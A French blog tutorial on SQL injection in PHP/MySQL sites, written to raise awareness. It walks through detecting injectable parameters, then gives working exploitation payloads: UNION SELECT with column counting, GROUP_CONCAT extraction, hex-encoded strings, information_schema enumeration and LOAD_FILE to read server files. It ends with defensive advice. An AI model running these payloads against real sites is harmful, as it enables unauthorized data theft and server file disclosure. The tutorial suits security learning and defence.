Sécurité - Les injections SQL

Bonjour à toutes et à tous, j'ai choisi pour mon premier article sur ce site de vous parler de la sécurité de vos sites internet, et plus particulièrement de vos requêtes SQL. C'est un sujet que de nombreuses personnes laissent de côté, souvent par manque de temps ou par manque de motivation. C'est pourtant très important, et laisser certaines failles ouvertes reviennent à donner les identifiants de votre serveur à toute personne sachant les exploiter.

Cet article a pour but de sensibiliser certaines personnes à la sécurité des sites internet. En effet, c'est en connaissant le fonctionnement des failles que l'on parvient le plus efficacement à les contrer.


Sources des failles

Dans le monde du développement Web, il existe une règle très importante à respecter pour se protéger des failles de sécurité, il faut considérer que toute variable qui provient de l'extérieur de votre code est dangereuse et doit être protégée. Voici une liste non exhaustive que je complèterai au fur et à mesure des sources de danger :

  • Les données reçues en paramètre ou via des formulaires
    • Les données GET, évidemment
    • Les données POST, qui ne sont pas plus sécurisées que celles en GET
    • Les fichiers uploadés qui doivent être méticuleusement contrôlés
  • Les cookies
  • Les informations de vos bases de données qui ont pu être modifiées par une autre faille potentiellement
Pour se protéger de toutes ces potentielles sources de danger, il existe plusieurs moyens comme par exemple :

  • L'utilisation d'un Framework ou d'un CMS connu et donc rendu fiable
  • La vérification de chaque entrée grâce à des expressions régulières
  • L'utilisation des fonctions fournies ou des requêtes préparées (mysqlrealescapestring, ...)
  • Ou même la vérification manuelle des paramètres (isnumber, >= 0, ...)

Détection des vulnérabilités

Maintenant, si vous possédez déjà un site et si vous voulez vérifier sa sécurité au niveau des injections SQL ou si vous réaliser un audit de sécurité sur un site , bien sur uniquement si vous avez l'autorisation de l'auteur, je peux vous aider à identifier ces failles.

La première étape consiste à casser la requête SQL en la rendant invalide et provoquant ainsi une erreur. Supposons que nous nous situons sur un site non sécurisé avec une requête construite de cette façon :

`$sql = 'SELECT * FROM articles WHERE categoryid = ' . $GET['category'];`

En temps normal, la valeur de 'category' en paramètre GET sera un nombre. Imaginons que 'category' valle le caractère ', voici la requête exécutée au final :

`SELECT * FROM articles WHERE category_id = '`

On voit bien que cette requête n'est pas valide, et elle va donc provoquer une erreur. Si une erreur s'affiche en modifiant les paramètres de cette façon, le site ne vérifie pas le contenu des paramètres et il est potentiellement vulnérable. Afin de vérifier la présence de ce problème, voici une liste non exhaustive des caractères pouvant provoquer des erreurs :

`', ", %23 (# encodé pour les URLs)`

Quelques fois, seules les entrées les plus évidentes sont protégées et d'autres restent à vérifier, telles que :

  • La pagination (en modifiant le paramètre dans l'URL)
  • Les champs modifiables uniquement dans la source (Les select, les checkbox, les hidden, ...) ou il est possible de modifier la valeur dans la source pour inclure un des caractères spécifiés ci-dessus
  • Les cookies, modifiables via les outils de développeur sur la plupart des navigateurs
  • Les liens de téléchargement, n'affichant généralement pas de page. Si vous provoquez une erreur, la page s'arrêtera et affichera l'erreur

Découverte de la vulnérabilité

A ce stade, le but est de prendre le contrôle de la faille. Nous arrivons désormais à provoquer une erreur, alors essayons maintenant de corriger l'erreur tout en injectant du code pour obtenir quelque chose comme :

SELECT * FROM articles WHERE category_id = '' OR 1 = 1

Ici le paramètre category a pour valeur `'' OR 1 = 1` On peut imaginer que dans ce cas, l'erreur n'apparaîtra plus, mais tous les articles du site seront affichés au lieu de seulement ceux de la catégorie choisie. Bien sûr, ce cas est le plus simple, beaucoup de cas réels sont plus complexes, regardez les requêtes suivantes :

$sql = "SELECT * FROM articles WHERE name LIKE '" . $_GET['name'] . "'"

Ici la variable name doit prendre la valeur `' OR 1 = 1 OR '` pour être corrigée. Ou encore :

$sql = "SELECT * FROM articles LIMIT " . $_GET['start'] . ", 20"

La variable start doit ici contenir `10 #` afin de commenter le reste de la requête. Cette étape sert à tenter de comprendre le fonctionnement de la requête et à voir s'il est possible d'injecter un bout de notre propre code pour la manipuler.


Exploitation de la vulnérabilité

Il est maintenant temps d'exploiter cette faille, c'est-à-dire « sortir » de la requête existante afin d'exécuter notre propre requête librement. Pour cela nous allons avoir besoin du mot clé UNION. En effet, pour exécuter notre requête, nous allons devoir annuler la première en rendant la condition fausse en permanence. Si l'on reprend notre requête d'exemple :

SELECT * FROM articles WHERE category_id = 0 AND 0 UNION ...

La clause `AND 0` est toujours fausse, ce qui permet à la requête originale de ne renvoyer aucun résultat. Nous pouvons alors entrer notre requête après le UNION et l'exécuter comme bon nous semble.

Dans le cas d'une requête renvoyant plusieurs résultats, il n'est pas forcément nécessaire d'annuler la requête originale, le résultat de notre requête s'affichera après les résultats de la première. Néanmoins, lorsqu'il s'agit d'une requête ne renvoyant qu'un seul résultat, vous êtes contraints de le faire.

Seulement il reste une étape essentielle avant de réellement écrire la requête que l'on souhaite. L'opérateur UNION ne peut s'applique que si les résultats des deux requêtes renvoient le même nombre de colonnes. Il nous faut donc trouver le nombre de colonnes renvoyées par la première requête. Pour cela il existe deux techniques :


En utilisant l'opérateur ORDER BY

L'opérateur ORDER BY, utilisé pour trier les résultats d'une requête, a la particularité d'accepter aussi bien des noms de champs que des nombres représentant le n-ième champ. Ainsi, ORDER BY 2 triera les résultats en utilisant le second champ. Si l'on spécifie un nombre supérieur au nombre de champs, une erreur est renvoyée. En utilisant cette particularité, il devient facile de déterminer le nombre de champs. Ainsi en injectant `0 AND 0 ORDER BY 10` et en observant le résultat, on peut savoir si le résultat contient plus ou moins de 10 champs. Voici la requête avec le code injecté

SELECT * FROM articles WHERE category_id = 0 AND 0 ORDER BY 10

En tatonnant, on arrive rapidement au résultat recherché, c'est à dire le plus grand nombre qui ne déclenche pas d'erreur. Toutefois, cette méthode ne fonctionne pas à tous les coups, il existe une méthode manuelle pour déterminer le nombre de colonnes.


Manuellement

L'autre méthode consiste tout simplement à essayer de faire la seconde requête en augmentant progressivement le nombre de champs jusqu'à ne plus provoquer d'erreurs. Pour simplifier cette étape, il est possible de ne pas sélectionner des champs dans la seconde requête, mais directement des valeurs de cette manière : `SELECT 1, 2, 3, 4`.

Imaginons que la table articles contienne 7 colonnes. Si l'on tente l'injection suivante : `0 AND 0 UNION SELECT 1, 2, 3, 4, 5, 6`, vous obtiendrez une erreur quant à la différence du nombre de champs des deux requêtes. Lorsque vous essayerez avec 7 champs, vous n'aurez plus d'erreurs.

Vous pouvez désormais exécuter vos propres requêtes en les modifiant légèrement en tenant compte du nombre de champs autorisés. Il reste maintenant un problème, la plupart du temps, vous n'avez accès qu'à un seul résultat à l'affichage (c'est par exemple le cas pour l'affichage d'un article), il faut donc trouver un moyen de combiner plusieurs résultats en un seul. C'est le rôle de la fonction GROUPCONCAT en MySQL qui concatène un champ de tous les enregistrements retournés. Voici comment l'utiliser : `SELECT GROUPCONCAT(username SEPARATOR ",") FROM users` pour retourner la liste des noms d'utilisateurs séparés par une virgule. En l'adaptant légèrement à notre cas, on peut donc injecter `0 AND 0 UNION SELECT 1, 2, 3, 4, 5, 6, GROUP_CONCAT(id SEPARATOR ",") FROM articles` pour récupérer la liste des ID des articles de la base.

Attention, la fonction GROUP_CONCAT ne concatène pas l'ensemble des résultats, la liste est tronquée à une certaine longueur en fonction de la configuration de votre serveur. Pour pallier à ce problème, il suffit d'utiliser des LIMIT, par exemple, dans la requête modifiée suivante :

SELECT * FROM articles WHERE category_id = 0 AND 0 UNION SELECT 1, 2, 3, 4, 5, 6, GROUP_CONCAT(id SEPARATOR ",") FROM ( SELECT * FROM articles LIMIT 0, 50 ) t


Astuces pour les bases MySQL

Sur les serveurs de bases de données MySQL, il existe plusieurs variables systèmes et fonctions utiles :

Pour connaître la version du serveur :

SELECT @@version

Pour connaître l'utilisateur MySQL courant :

SELECT USER()

Pour connaître la base de données courante :

SELECT DATABASE()

Pour les failles n'acceptant pas les caractères ' ou ", il est possible d'entrer des chaînes encodées en hexadécimal :

SELECT 0x48656c6c6f2021 # Affiche "Hello !"

Pour afficher le contenu d'un fichier présent sur le serveur (extrêmement puissant, faites très attention !) :

SELECT LOAD_FILE('/web/index.php')

Pour lister les tables disponibles dans la base de donnée courante :

SELECT table_name FROM information_schema.tables WHERE table_schema = DATABASE()

Pour lister les champs d'une table spécifique (il est souvent utile d'encoder le nom de la table en héxadécimal) :

SELECT column_name FROM information_schema.columns WHERE table_name = 'articles'

Et pour finir, si on reprend la requête originale que que l'on souhaite voir les tables de la base de données :

SELECT * FROM articles WHERE category_id = 0 AND 0 UNION SELECT 1, 2, 3, 4, 5, 6, GROUP_CONCAT(table_name SEPARATOR ",") FROM information_schema.tables WHERE table_schema = DATABASE()


Conclusion

Voilà tout ce que je pouvais vous dire sur les injections SQL. Il existe bien sûr de nombreuses autres techniques, mais la base est là. En décorticant les étapes de l'exploitation de cette vulnérabilité, il est maintenant plus facile de déterminer les éléments à protéger sur votre serveur, que ce soit dans la configuration de la base de données ou dans vos scripts PHP, ASP, ... Voici les principaux éléments auxquels vous devez faire attention (à vous de compléter la liste, cela dépend également de votre configuration) :

  • Vérifier toutes les entrées GET, POST et COOKIE en contrôlant et limitant le type, la valeur
  • Ne faites l'impasse sur aucune entrée !
  • Créez des utilisateurs différents pour chacun de vos sites, en faisant bien attention de limiter les droits au strict minimum
  • Si vous n'êtes pas sûrs de vous, utilisez des Framework tels que CakePHP ou encore Zend pour développer vos sites



// Restons en contact

Si vous êtes intéressés par mon travail ou mes projets, vous pouvez me suivre et me contacter sur les réseaux suivants :

// Statistiques

Actualités
3
Articles
5
Projets
16